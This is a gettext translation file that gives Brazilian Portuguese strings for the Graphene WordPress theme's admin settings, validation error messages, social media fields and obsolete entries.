msgid "Theme uninstalled. Redirecting to %s"
msgstr "Tema desinstalado. Redirecionando para %s"

#: admin/user.php:7
msgid "Graphene-specific User Profile Information"
msgstr "Informações do Perfil específicas para o Graphene"

#: admin/user.php:8
msgid "The settings defined here are used only with the Graphene theme."
msgstr "As configurações feitas aqui são usadas exclusivamente com o tema Graphene."

#: admin/user.php:12
msgid "Author profile image URL"
msgstr "URL da imagem do autor"

#: admin/user.php:13
msgid "You can specify the image to be displayed as the author's profile image in the Author's page. If no URL is defined here, the author's <a href=\"http://www.gravatar.com\">Gravatar</a> will be used."
msgstr "Você pode especificar a imagem a ser utilizada como foto do autor. Se uma URL não estiver definida aqui, o <a href=\"http://www.gravatar.com\">Gravatar</a> do autor será usado."

#: admin/user.php:17
msgid "Please enter the full URL (including <code>http://</code>) to your profile image."
msgstr "Por favor, digite a URL completa para a imagem do seu perfil (incluindo <code>http://</code>)"

#: admin/user.php:17
msgid "<strong>Important: </strong>Image width must be less than or equal to <strong>150px</strong>."
msgstr "<strong>Importante: </strong>a largura da imagem deve ser menor ou igual a <strong>150px</strong>."

#: admin/validator.php:24
msgid "ERROR: Invalid category to show in slider."
msgstr "ERRO: categoria inválida para exibir no Slider"

#: admin/validator.php:27
msgid "ERROR: You must specify the posts/pages to be displayed when you have \"Show specific posts/pages\" selected for the slider."
msgstr "ERRO: você deve especificar os posts/páginas a exibir ao selecionar \"Exibir posts/pages específicos\" no Slider."

#: admin/validator.php:30
msgid "ERROR: You must have selected at least one category when you have \"Show posts from categories\" selected for the slider."
msgstr "ERRO: você deve escolher pelo menos uma categoria ao selecionar \"Exibir posts de categorias\" no Slider."

#: admin/validator.php:40
msgid "ERROR: Invalid category selected for the slider categories."
msgstr "ERRO: categoria inválida selecionada como categorias do Slider."

#: admin/validator.php:46
msgid "ERROR: The number of posts to displayed in the slider must be a an integer value."
msgstr "ERRO: o número de posts a serem exibidos no Slider deve ser inteiro."

#: admin/validator.php:49
msgid "ERROR: Invalid option for the slider image is specified."
msgstr "ERRO: opção inválida como imagem do Slider."

#: admin/validator.php:51
msgid "ERROR: Bad URL entered for the custom slider image URL."
msgstr "ERRO: URL não aceita como imagem personalizada do Slider."

#: admin/validator.php:53
msgid "ERROR: Invalid option for the slider display style is specified."
msgstr "ERRO: opção inválida para estilo de exibição do Slider."

#: admin/validator.php:55
msgid "ERROR: The value for slider height must be an integer."
msgstr "ERRO: o valor da altura do Slider deve ser um número inteiro."

#: admin/validator.php:57
msgid "ERROR: The value for slider speed must be an integer."
msgstr "ERRO: o valor da velocidade do Slider deve ser um número inteiro."

#: admin/validator.php:59
msgid "ERROR: The value for slider transition speed must be an integer."
msgstr "ERRO: o valor da velocidade de transição do Slider deve ser um número inteiro."

#: admin/validator.php:61
msgid "ERROR: Invalid slider animation."
msgstr "ERRO: animação do Slider inválida."

#: admin/validator.php:75
msgid "ERROR: Invalid category selected for the front page posts categories."
msgstr "ERRO: categoria inválida para os posts da página inicial."

#: admin/validator.php:86
msgid "ERROR: Invalid option for the type of content to show in homepage panes."
msgstr "ERRO: opção inválida para tipo de conteúdo a exibir nos painéis da página inicial."

#: admin/validator.php:88
msgid "ERROR: The value for the number of latest posts to display in homepage panes must be an integer."
msgstr "ERRO: o valor do número de últimos posts a exibir na página inicial deve ser um número inteiro."

#: admin/validator.php:93
msgid "ERROR: Invalid category selected for the latest posts to show from in the homepage panes."
msgstr "ERRO: categoria inválida para exibição dos últimos posts em Painéis da Página Inicial."

#: admin/validator.php:107
msgid "ERROR: Invalid option for the comments option."
msgstr "ERRO: opção inválida para comentários."

#: admin/validator.php:116
msgid "ERROR: Invalid option for the child page listings."
msgstr "ERRO: opção inválida para listagem de páginas-filhas."

#: admin/validator.php:134
msgid "ERROR: Bad URL entered for the custom feed URL."
msgstr "ERRO: URL não aceita como URL do Feed personalizado."

#: admin/validator.php:138
msgid "ERROR: Bad URL entered for the Twitter URL."
msgstr "ERRO: URL não aceita como URL do Twitter."

#: admin/validator.php:140
msgid "ERROR: Bad URL entered for the Facebook URL."
msgstr "ERRO: URL não aceita como URL do Facebook."

#: admin/validator.php:152
msgid "ERROR: Bad URL entered for the social media icon URL."
msgstr "ERRO: URL não aceita como URL do ícone da rede social."

#: admin/validator.php:153
msgid "ERROR: Bad URL entered for the social media URL."
msgstr "ERRO: URL não aceita como URL de rede social."

#: admin/validator.php:168
msgid "ERROR: Invalid option for the social sharing buttons location."
msgstr "ERRO: opção inválida para localização dos botões de compartilhamento."

#: admin/validator.php:228
msgid "ERROR: Invalid option for the Search box location."
msgstr "ERRO: opção inválida para localização da caixa de pesquisa."

#: admin/validator.php:233
msgid "ERROR: Invalid option for the column mode."
msgstr "ERRO: opção inválida para modo de colunas."

#: admin/validator.php:239
msgid "ERROR: Invalid option for the post date display."
msgstr "ERRO: opção inválida para exibição da data do post."

#: admin/validator.php:305
msgid "ERROR: The number of columns to be displayed in the footer widget must be a an integer value."
msgstr "ERRO: o número de colunas exibidas no rodapé deve ser inteiro."

#: admin/validator.php:310
msgid "ERROR: The width of the submenu must be a an integer value."
msgstr "ERRO: a largura do submenu deve ser um valor inteiro."

#: admin/validator.php:318
msgid "ERROR: Bad URL entered for the favicon URL."
msgstr "ERRO: URL não aceita como URL do favicon."

#: admin/validator.php:332
msgid "ERROR: Invalid action hook selected widget action hooks."
msgstr "ERRO: opção de action hook inválida."

#: admin/js/admin.js.php:47
msgid "Social Media name"
msgstr "Nome da Rede Social"

#: admin/js/admin.js.php:50
msgid "Name of the social media, e.g. LinkedIn, etc."
msgstr "Nome da rede social, ex: LinkedIn."

#: admin/js/admin.js.php:54
msgid "Social Media title"
msgstr "Título da Rede Social"

#: admin/js/admin.js.php:57
msgid "Title for the social media, leave empty for generated title."
msgstr "Título da rede social, deixe em branco para gerar um título."

#: admin/js/admin.js.php:61
msgid "Social Media profile URL"
msgstr "URL do perfil na Rede Social"

#: admin/js/admin.js.php:64
msgid "URL to your page for the social media."
msgstr "URL para sua página na rede social."

#: admin/js/admin.js.php:68
msgid "Social Media icon URL"
msgstr "URL do ícone da Rede Social"

#: admin/js/admin.js.php:71
#, php-format
msgid "URL to the social media icon. <strong>Note:</strong> the theme uses the %s icon set for the social media icons. Please do not hotlink the icons on the site. Download the icons you need and upload them to your server instead."
msgstr "URL do ícone da rede social. <strong>Atenção</strong>: este tema usa os ícones %s para as redes sociais. Por favor, não faça links diretos pro site. Em vez disso, baixe os ícones que você quer e envie-os para seu servidor."

#~ msgid "Settings saved."
#~ msgstr "Configurações gravadas."

#~ msgid "Leave field empty to use the default value."
#~ msgstr "Deixe o campo em branco para usar o valor padrão."

#~ msgid "Valid XHTML 1.0 Strict"
#~ msgstr "XHTML 1.0 Strict válido"

#~ msgid "Valid CSS"
#~ msgstr "CSS válida"

#~ msgid "Valid CSS Level 2.1"
#~ msgstr "CSS Level 2.1 válida"

#~ msgid "%1$s uses %2$s theme by %3$s."
#~ msgstr "%1$s usa o tema %2$s criado por %3$s."

#~ msgid "URL to your profile page for the social media."
#~ msgstr "URL para sua página de perfil na rede social."

#~ msgid "Visit Facebook page"
#~ msgstr "Visitar Facebook"

#~ msgid "Feed Options"
#~ msgstr "Opções de Feed"

#~ msgid "No comment yet"
#~ msgstr "Nenhum comentário ainda"

#~ msgid "No ping yet"
#~ msgstr "Nenhuma menção ainda"

#~ msgid ""
#~ "Please enter only numerical value for the footer widget column count."
#~ msgstr ""
#~ "Por favor, digite apenas números para o número de colunas do rodapé de "
#~ "widgets."

#~ msgid ""
#~ "Please enter only numerical value for the front page footer widget column "
#~ "count."
#~ msgstr ""
#~ "Por favor, digite apenas números para o número de colunas do rodapé de "
#~ "widgets da página inicial."

#~ msgid ""
#~ "Please enter only numerical value for the navigation menu dropdown item "
#~ "width."
#~ msgstr "Por favor, digite apenas números para a largura do menu dropdown."

#~ msgid "Graphene Display Options"
#~ msgstr "Opções de Exibição do Graphene"

#~ msgid "ERROR:"
#~ msgstr "ERRO:"

#~ msgid "Sidebar Options"
#~ msgstr "Opções da barra lateral"

#~ msgid "Content sidebar location"
#~ msgstr "Localização da barra lateral de conteúdo"

#~ msgid "Right"
#~ msgstr "Direita"

#~ msgid "Left"
#~ msgstr "Esquerda"

#~ msgid "Hide sidebar"
#~ msgstr "ocultar barra lateral"

#~ msgid ""
#~ "Will cause all posts and pages to be displayed in a single-column layout."
#~ msgstr "Todos os posts e páginas serão exibidos em um layout de uma coluna."

#~ msgid "Show post year"
#~ msgstr "Exibir ano do post"

#~ msgid "Only works if the option \"Hide post date\" is disabled."
#~ msgstr ""
#~ "Só funcuiona se a opção \"Ocultar data do post\" estiver desabilitada."

#~ msgid ""
#~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, "
#~ "<code>'Trebuchet MS'</code>"
#~ msgstr ""
#~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, "
#~ "<code>'Trebuchet MS'</code>"

#~ msgid "<code>12px</code>, <code>12pt</code>, <code>12em</code>"
#~ msgstr "<code>12px</code>, <code>12pt</code>, <code>12em</code>"

#~ msgid ""
#~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>"
#~ msgstr ""
#~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>"

#~ msgid " <code>normal</code>, <code>italic</code>, <code>oblique</code>"
#~ msgstr " <code>normal</code>, <code>italic</code>, <code>oblique</code>"

#~ msgid ""
#~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</"
#~ "code>"
#~ msgstr ""
#~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</"
#~ "code>"

#~ msgid ""
#~ "If this is checked, the website title will be displayed first, followed "
#~ "by the page title."
#~ msgstr ""
#~ "Se marcado, o título do site será exibido antes do título da página (na "
#~ "barra do navegador)."

#~ msgid "Update Settings"
#~ msgstr "Atualizar opções"

#~ msgid "You must enter your Adsense code to enable Adsense advertising"
#~ msgstr "Você deve fornecer seu código Adsense para habilitar os anúncios"

#~ msgid ""
#~ "You must enter your AddThis button code to enable the AddThis social "
#~ "sharing button"
#~ msgstr ""
#~ "Você deve fornecer seu código AddThis para habilitar o botão de "
#~ "compartilhamento"

#~ msgid ""
#~ "You must enter your Google Analytics tracking code to enable Google "
#~ "Analytics tracking."
#~ msgstr ""
#~ "Você deve fornecer seu código Google Analytics para habilitar o "
#~ "rastreamento."

#~ msgid ""
#~ "This setting only affects the slider if \"Show latest posts\" is selected "
#~ "above."
#~ msgstr ""
#~ "Esta opção só afetará o Slider se \"Exibir últimos posts\" estiver "
#~ "selecionado acima."

#~ msgid "AddThis Options"
#~ msgstr "Opções AddThis"

#~ msgid "Your AddThis button code"
#~ msgstr "Seu código do botão AddThis"

#~ msgid ""
#~ "You can generate your button code from the <a href=\"http://www.addthis."
#~ "com/\">AddThis website</a>."
#~ msgstr ""
#~ "Você pode gerar o código para seu botão no <a href=\"http://www.addthis."
#~ "com/\">website AddThis</a>."

#~ msgid "by %s"
#~ msgstr "por %s"

#~ msgid "No comment"
#~ msgstr "Sem comentários"

#~ msgid "No post found"
#~ msgstr "Nenhum post encontrado"

#~ msgid "You might want to try another search using alternative terms."
#~ msgstr "Você deveria tentar outra busca utilizando termos alternativos."